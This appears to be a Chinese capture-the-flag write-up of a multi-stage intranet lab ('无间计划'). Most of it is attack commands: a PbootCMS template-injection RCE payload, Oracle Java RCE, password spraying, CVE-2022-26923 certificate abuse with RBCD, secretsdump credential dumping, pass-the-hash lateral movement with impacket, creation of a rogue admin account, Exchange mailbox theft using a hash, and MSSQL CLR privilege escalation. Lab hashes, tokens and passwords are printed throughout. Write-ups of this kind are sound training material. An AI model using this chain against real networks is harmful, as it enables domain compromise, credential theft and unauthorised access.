渗透
春秋云镜-无间计划
给了两个ip
39.99.149.38
39.99.136.220
一个是数据库
1 | 39.99.149.38:80 open |
一个是PbootCMS
1 | 39.99.136.220:80 open |
一层网卡
flag1(PbootCMS
发现是1.3.5版本的PbootCMS,找个NDAY打一下
1 | GET /?film=}{pboot{user:password}:if(("sy\x73\x74em")("whoami"));//)}xxx{/pboot{user:password}:if} |
然后直接vshell上线了。
flag{Php_Waf_so_insteresting!}
flag2(oracle数据库
oracle数据库
1 | 1. 创建JAVA Source |
函数创建成功
是system权限,直接读flag,或者rdp上去。(我没成功过
flag{Do_you_kown_oracle_rce?}(这里有一点要注意,这个oracle是站库分离的,所以这个shell其实是oracle机器的shell而不是外网服务器的shell
flag3(172.23.4.12/172.24.7.16
./admin_linux_x64 -lport 9999
./agent_linux_x64 -rhost IP -rport PORT
内网探测
1 | (icmp) Target 172.23.4.19 is alive |
先总结一下吧
172.23.4.19 oracle站点
172.23.4.32 PbootCMS(已拿下)
172.23.4.12 PENTEST\IZMN9U6ZO3VTRNZ
172.23.4.51 oracle数据库(已拿下)
cms机器不需要提权,oracle机器,写一个账号进去拿到一个账号密码
1 | username: usera@pentest.me |
做一个密码喷洒
1 | proxychains -q crackmapexec smb 172.23.4.0/24 -u usera -p Admin3gv83 -d pentest.me 2>/dev/null |
发现能登录172.23.4.12,用这个账号登录上去:PENTEST\usera:Admin3gv83。桌面上有flag.txt
flag{not_write_password_in_txt}
flag4(oracle站点
发现usera目录下有一个.ssh,里面存了私钥,再看knowsn_hosts可以知道可能可以利用这个私钥登录172.23.4.19,并且发现这有第二个网段
1 | -----BEGIN OPENSSH PRIVATE KEY----- |
直接连接就好了
1 | vim yunjingkey |
flag{id_rsa_so_useful!}
二层网卡
flag5(DC,172.24.7.3
现在第一个网卡的四个机器都打完了,重新回到我们的172.23.4.12,这是一个双网卡的机器
先扫一下第二张网卡
1 | 172.24.7.16:445 open |
小结一下
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me(已拿下)
172.24.7.3 DC.pentest.me
172.24.7.5 DCadmin.pen.me(另一个域控
172.24.7.23
172.24.7.27
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me
发现又是poc-yaml-active-directory-certsrv-detect,尝试过后使用CVE-2022-26923成功了。
先做一下二层代理
listen 9999
agent -rhost 172.23.4.32 -rport 9999
创建机器账号
1 | proxychains4 -q certipy-ad account create -u usera@pentest.me -p Admin3gv83 -dc-ip 172.24.7.3 -user citrus -pass '123@#ABC' -dns 'DC.pentest.me' |
申请机器证书(超时的话就再执行一遍
1 | proxychains -q certipy-ad req -u 'citrus$@pentest.me' -p '123@#ABC' -ca 'pentest-DC-CA' -dc-ip 172.24.7.3 -template 'Machine' -debug |
依旧dump域管哈希
proxychains -q certipy-ad auth -pfx dc.pfx -dc-ip 172.24.7.3
这次竟然成功了,我以为又会失败。
然后用这个哈希来dump管理员的哈希(这一步没成功的话就把dc加到hosts里面
1 | proxychains -q impacket-secretsdump 'dc$@pentest.me@DC.pentest.me' -hashes :d39b575a612813527824b31d819d52a3 |
或者选择将证书配置到域控的RBCD,再拿银票据打PTT了
通过passthecert.py将证书配置到域控的RBCD
1 | certipy-ad cert -pfx dc.pfx -nokey -out dc.crt |
配置rbcd
1 | proxychains -q python3 passthecert.py -action write_rbcd -crt dc.crt -key dc.key -domain DC.pentest.me -dc-ip 172.24.7.3 -delegate-to 'dc$' -delegate-from 'citrus$' |
申请一张cifs服务的ST
1 | proxychains -q impacket-getST pentest.me/'citrus$':'123@#ABC' -spn cifs/DC.pentest.me -impersonate Administrator -dc-ip 172.24.7.3 |
导入环境变量
1 | export KRB5CCNAME=Administrator@cifs_DC.pentest.me@PENTEST.ME.ccache |
PTT
1 | proxychains -q python psexec.py pentest.me/administrator@DC.pentest.me -k -no-pass -target-ip 172.24.7.3 -codec gbk |
flag{congratulations_get_DC!}
flag6(172.24.7.43/172.26.8.12
直接PTH
1 | proxychains -q impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.43 -codec gbk |
flag{Rdp_sooooooo_cool}
这里也提供一个PTTdump哈希的方法
1 | proxychains python3 secretsdump.py -k -no-pass Administrator@dc.pentest.me -dc-ip 172.24.7.3 |
flag7(172.24.7.48
PTH
1 | proxychains -q impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.48 -codec gbk |
flag{relay_is_so_dangerous}
flag8(DCadmin,172.24.7.5/172.25.12.7
1 | proxychains -q impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.5 -codec gbk |
这不对吧,这玩意不是另一个域控吗,这也能PTH,不懂
flag{Sid_history_is_sooooo_helpful}
三层网卡
flag9(172.25.12.29
现在第二张网卡都打完了,在DCadmin上还有张网卡,继续扫内网,搭代理
再用administrator的哈希来secretsdump一下(这一步巨慢
1 | proxychains -q python3.13 secretsdump.py pentest.me/administrator@172.24.7.5 -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 -dc-ip 172.24.7.5 |
记下这两个哈希
1 | pen.me\Administrator:500:aad3b435b51404eeaad3b435b51404ee:0f91138ef5392b87416ed41cb6e810b7::: |
然后利用PTH先加一个管理员用户
1 | proxychains -q impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.5 -codec gbk |
然后
1 | net user fffffilm Password@973 /add |
rdp上去扫内网
1 | 172.25.12.7:445 open |
做代理
listen 9999
agent -rhost 172.24.7.16 -rport 9999
拿到哈希继续PTH
1 | proxychains python wmiexec.py pen.me/administrator@172.25.12.29 -hashes :0f91138ef5392b87416ed41cb6e810b7 -codec gbk |
flag{Group_Policy!s}
flag10(172.25.12.19
继续PTH,19这台机子总起不来不知道为什么(第一次起来了,但没打到PTH这里,后面又开了几次都没起来,实在舍不得沙砾了就不打了了,反正也就一个PTH读flag,然后rdp上去拿邮件再拿flag就行了。
1 | proxychains impacket-smbexec -hashes :0f91138ef5392b87416ed41cb6e810b7 pen.me/administrator@172.25.12.19 -codec gbk |
flag{Dc_Administrator_can_do_anything!}
flag11(172.25.12.19
看邮件就好了,用exchange用户看邮件就行
1 | proxychains -q python pthexchange.py --target http://172.25.12.19/ --username exchange --password '00000000000000000000000000000000:21a43bd74a20a330ef77a4e7bd179d8c' --action Download |
flag{Exchange_have_so_many_things}
flag12(172.26.8.16
172.24.7.23上有个Confluence,使用这个登录成功:usera:Admin3gv83
可以拿到一个execl表
172.24.7.23上有个gitlab,并且存在账号复用
1 | echo 'grant_type=password&username=usera&password=Admin3gv83' > auth.txt |
得到
1 | {"access_token":"a40510f126e0e767a4fe1062e1d5fbae84d8a0c335da8f2fe3f8b3f1af86cf23","token_type":"Bearer","expires_in":7200,"refresh_token":"8ad4a95ff4e5704a9eb567ee4a7255fea3c1000af30501b3eed676f1394539fd","scope":"api","created_at":1748079786} |
再执行
1 | proxychains -q curl --header "Authorization: Bearer a40510f126e0e767a4fe1062e1d5fbae84d8a0c335da8f2fe3f8b3f1af86cf23" http://172.24.7.23/api/v4/users | jq |
可以知道一共只有三个有效用户,luzizhuo、usera和root,用luzizhuo登录进入gitlab,有一个私人项目叫 Financial system-demo,找到commit记录信息:
1 | IP: 172.26.8.16 |
利用smbclient上传文件
1 | proxychains python3 smbclient.py -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.43 |
然后用之前拿的哈希PTH上去执行命令
1 | proxychains -q impacket-smbexec -hashes :5d0f79eaf7a6c0ad70bcfce6522d2da1 pentest.me/administrator@172.24.7.43 -codec gbk |
扫描得到
1 | (icmp) Target 172.26.8.12 is alive |
目标是172.26.8.16,并且开了1433端口。
搭一下代理,最后的代理状态如下:
listen 9999
agent -rhost 172.24.7.16 -rport 9999
用Ridter/PySQLTools: Mssql利用工具一把梭提权拿下了。
1 | proxychains -q python PySQLTools.py sa:'sqlserver_2022'@172.26.8.16 -debug |
1 | enable_ole |
1 | install_clr |
1 | clr_badpotato type C:\Users\Administrator\Desktop\flag.txt |
flag{clr?no_flag}